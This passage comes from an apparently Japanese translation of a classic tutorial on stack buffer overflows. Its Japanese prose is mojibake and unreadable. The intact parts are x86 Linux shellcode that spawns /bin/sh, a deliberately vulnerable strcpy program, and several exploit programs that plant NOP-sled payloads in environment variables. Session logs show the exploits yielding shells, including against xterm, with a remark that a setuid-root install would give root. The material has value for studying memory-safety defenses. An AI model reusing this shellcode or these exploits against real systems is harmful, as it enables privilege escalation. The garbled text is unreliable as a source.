movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
jmp����call�܂ŁAcall����popl�܂ŁA������̃A�h���X����z��܂ŁA������̃A�h���X����k�������[�h�܂ł̃I�t�Z�b�g���v�Z���� �݂悤�F
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
�ǂ��������B�����Ɠ��삷�邩�ǂ����m�F���邽�߂ɃR���p�C�����ċN�����Ă݂悤�B�����������Ŗ�肪����B���s�������R�[�h�͂��ꎩ�g�������� ���邯��ǁA�قƂ�ǂ�OS�ł̓R�[�h�y�[�W�����[�h�I�����[�ɂ��Ă��܂��̂��B���̐������l�����āA���s�������R�[�h���X�^�b�N���邢�̓f�[�^�Z�O���� �g�ɔz�u���A���̐�����ڂ��ς��Ȃ���Ȃ�Ȃ��B���̂��߂ɁA���s�������R�[�h���f�[�^�Z�O�����g�̃O���[�o���z��̒��ɓ����B�܂��o�C�i���[�R�[�h ���w�L�T�œǂݑւ���K�v������B�Ƃ肠�����R���p�C�����āAgdb���g���ăw�L�T�ŕ\�������Ă݂悤�F
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
�������I��������Q���o�Ă����B�����̏ꍇ�ł̓L�����N�^�̃o�b�t�@�[���I�[�o�[�t���[�����悤�Ƃ��Ă���B���̃V�F���R�[�h�̒��Ńk���o�C�g�͕� ����̏I��肾�Ɛ��肳��Ă��邽�߁A�R�s�[�͂����ŏI����Ă��܂��̂��B�Ƃ������Ƃ̓n�b�L���O�R�[�h�������߂ɂ̓V�F���R�[�h�̂Ȃ��Ƀk���o�C�g �������Ă͂����Ȃ��B�k���o�C�g���폜���Ă݂悤�i�����ɃR�[�h�����������Ă݂悤�j�F
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
�i�������R�[�h�F
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
�V�����e�X�g�v���O�����F
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
�n�b�L���O�R�[�h�������i�܂��̓X�^�b�N������Ԃ��j
���܂łɕ��ׂ��s�[�X�����ׂĈ��������ė��悤�B�܂��V�F���R�[�h������B���ꂪ�o�b�t�@�[���I�[�o�[�t���[����Ƃ��Ɏg���������Ă��Ƃ͌��� �ς݁B�o�b�t�@�[�̒��ɖ߂郊�^�[���A�h���X���w���Ȃ���Ȃ�Ȃ����Ƃ��킩�����B���������_����������Ⴊ���ꂾ�F
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
��L��ł���Ă邱�Ƃ́A�z��large_string[]��buffer[]�̃A�h���X�ߍ����ƂŁAbuffer[]�ɂ͎��s�������R�[ �h�����邱�ƂɂȂ�B������large_string������̍ŏ��ɃV�F���R�[�h���R�s�[����Bstrcpy()�͋��E�`�F�b�N�������� large_string��buffer�ɃR�s�[����̂ŁA���^�[���A�h���X���I�[�o�[�t���[�����A���s�������R�[�h�̃A�h���X�ŏ㏑�����Ă��܂��B main�̏I���ɓ��B����ƁA���^�[�����悤�Ƃ��Ă����炪���s�������R�[�h�փW�����v���A�V�F�������s����B
���̃v���O�����̃o�b�t�@�[���I�[�o�[�t���[���悤�Ƃ����Ƃ��ɒ��ʂ�����́A�o�b�t�@�[���ǂ̃A�h���X�ɂȂ邩���v�Z���悤�Ƃ��Ă��܂��Ƃ��� ���Ƃ��B���ׂẴv���O�����ŃX�^�b�N�͓����A�h���X����n�܂��Ă���B�قƂ�ǂ̃v���O�����ł́A�����ɐ��S������o�C�g�ȏ�̃v�b�V�����X�^�b�N�ɑ� ���čs��Ȃ��B����ǂ��A�X�^�b�N���ǂ�����n�܂��Ă��邩�m���Ă���A�I�[�o�[�t���[�����悤�Ƃ��Ă���o�b�t�@�[���ǂ��ɂ��邩�������邱�Ƃ��ł� ��B���̗�͎����̃X�^�b�N�|�C���^�[��\������v���O�������F
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
�I�[�o�[�t���[�����悤�Ƃ��Ă���v���O���������ꂾ�Ƃ��Ă݂悤�F
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
�����Ƃ��ăo�b�t�@�[�T�C�Y�Ƃ��ꎩ�g�̃X�^�b�N�|�C���^�[����̃I�t�Z�b�g�i�I�[�o�[�t���[���������o�b�t�@�[�����݂���Ǝv����ꏊ�j����� �v���O�������쐬���Ă݂悤�B���ϐ��ɃI�[�o�[�t���[�����������A���邱�Ƃ͊ȒP�ł���F
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
�o�b�t�@�[�ƃI�t�Z�b�g�̒l�������𐄑��ł���F
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
���̗�ł킩��悤�ɁA����͌����I�ȃv���O�����ł͂Ȃ��B�X�^�b�N�̊J�n�ʒu��m���Ă��Ă��A�I�t�Z�b�g�𐄑����邱�Ƃ͂قƂ�Ǖs�\���B�ǂ� �ĂP�O�O��A������Q�O�O�O��̓g���C����K�v�����邾�낤�B���͎��s�������R�[�h�̊J�n�A�h���X���u���m�Ɂv��������K�v������Ƃ������Ƃ��B���� �P�o�C�g�����Ă����Ȃ��Ă��A�Z�O�����e�[�V�������@�C�I���[�V�������A��������߂ɂȂ��Ă��܂����낤�B�`�����X��傫������ЂƂ̕��@�Ƃ��ẮA NOP���߂��g���ăI�[�o�[�t���[�������o�b�t�@�[�̑O�ɓ��ă��m�����邱�Ƃ��B�قƂ�ǑS�Ẵv���Z�b�T�[�͉������s���Ȃ�NOP���߂����B����͂� ���̓^�C�~���O���v�邽�߂Ƀf�B���C�����s���邽�߂Ɏg����B���̓����𗘗p���āA�I�[�o�[�t���[�������o�b�t�@�[�̔�����NOP���߂Ŗ��߂�B�V�F ���R�[�h�����̐^�ɓ���A���̂��ƂɃ��^�[���A�h���X�𑱂���B�������Ă��āA�����^�[���A�h���X��NOP�Q�̕�����̂ǂ������w���Ă�����A�� �s�������R�[�h�ɓ��B����܂�NOP�Q�����s�����B�X�^�b�N��0xFF����J�n�������̂Ƃ��AS�̓V�F���R�[�h�AN��NOP���߂�\���Ƃ��āA�X�^�b �N���ǂ������������Ă݂悤�F
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
�V�����n�b�L���O�R�[�h�͂����Ȃ�F
exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
�o�b�t�@�[�T�C�Y�̑I���Ƃ��ėǂ��̂́A�I�[�o�[�t���[���悤�Ƃ��Ă�o�b�t�@�[�T�C�Y���P�O�O�o�C�g�ȏ㑽�����̂��B��������I�[�o�[�t���[ ���悤�Ƃ��Ă�o�b�t�@�[�̍Ō�Ɏ��s�������R�[�h���ʒu���邾�낤���ANOP�Q�ɂ�������X�y�[�X���^�����邪�i���ꂾ���`�����X��������j�A����� �����������A�h���X�Ń��^�[���A�h���X���㏑�����Ă���B�I�[�o�[�t���[���悤�Ƃ��Ă�o�b�t�@�[�͂T�P�Q�o�C�g���Ȃ�A�U�P�Q���g���B�e�X�g�v���O�� ����V���ȃn�b�L���O�R�[�h�ŃI�[�o�[�t���[�����Ă݂悤�F
------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------
���@�I�I�P��ڂŏo�����I���̕ύX�łP�O�O�{�̓`�����X���g�������B���āA���ۂ̃o�b�t�@�[�I�[�o�[�t���[�̃P�[�X�Ŏ����Ă݂悤�BXt���C�u���� �̃o�b�t�@�[�I�[�o�[�t���[�Ŏ������Ă݂悤�B���̗�ł́Axterm���g���iXt���C�u�����Ƀ����N����Ă�v���O�����͑S�Ď�_������̂��j�B�܂��� X�̃T�[�o�[�𑖂点�āA���[�J���z�X�g���炻�̃T�[�o�[�ւ̐ڑ��������Ȃ���Ȃ�Ȃ��BDISPLAY�ϐ����ɐݒ肷�邱�ƁF
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "�E1�FF
�
�V
�1��@���/bin/sh�ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��
ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ�
�ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ�����ソ��ソ��ソ��
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "�E1�FF
�
�V
�1��@���/bin/sh�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�
ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH
�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソ
H�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�<br>
�H�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�ソH�<br>Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "�E1�FF
�
�V
�1��@���/bin/sh�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E
ソT�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T
�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�
T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E
�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E�T�E
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------
���߂��I�P�Q�������ĂȂ��̂Ƀ}�W�b�N�i���o�[���������Bxterm��suid root�ŃC���X�g�[������Ă�����Aroot�̃V�F���ɂȂ邾�낤�B
�����ȃo�b�t�@�[�I�[�o�[�t���[
�I�[�o�[�t���[�������o�b�t�@�[�����������ăV�F���R�[�h����ꍞ�߂Ȃ��ă��^�[���A�h���X�����s�������R�[�h�̃A�h���X�ւ̖��߂ŏ㏑���ł��� ��������ANOP����̑O�ɂق�̂�����Ƃ��������ꂸ�A��������`�����X���ɏ��ɂȂ��Ă��܂����肷�邱�Ƃ����邾�낤�B���������v���O������ �V�F���邽�߂ɂ́A���̕��@�������Ă݂Ȃ���Ȃ�Ȃ��B���̓��ʂȃA�v���[�`�͂��̃v���O�����̊��ϐ��ɃA�N�Z�X�ł���ꍇ�ɂ̂݉\���B
����̓V�F���R�[�h�����ϐ��ɓ��ꍞ��ŁA���̕ϐ��̃����������ł̃A�h���X���g���ăo�b�t�@�[���I�[�o�[�t���[����������ł���B�܂����̕� �@�ɂ��A�V�F���R�[�h�����ϐ��̒��ɓ���镔�����傫����Α傫���قǁA�n�b�L���O����`�����X�͑��傷��B
���ϐ��́A�v���O����������J�n����Ƃ��ɃX�^�b�N�̃g�b�v�ɃX�g�A����A���̌�setenv()�ɂ���Ăǂ����Ɋ���U����B�X�^�b�N�͊J�n ���͂����Ȃ��Ă���F
<strings><argvpointers>NULL<envppointers>NULL<argc><argv><envp>
�V�����v���O�����ł͓��ʂȕϐ��i�V�F���R�[�h��NOP�Q���܂ϐ��̃T�C�Y�j���g�����B����͂���ȕ����F
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
�V�����v���O�������Z�L�����e�B�z�[�������e�X�g�v���O�����Ŏ����Ă݂悤�F
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
�����̔@�����삵�Ă�i�j�Bxterm�Ŏ����Ă݂悤�F
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��
ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ�
�ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ
��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��ソ��<br>
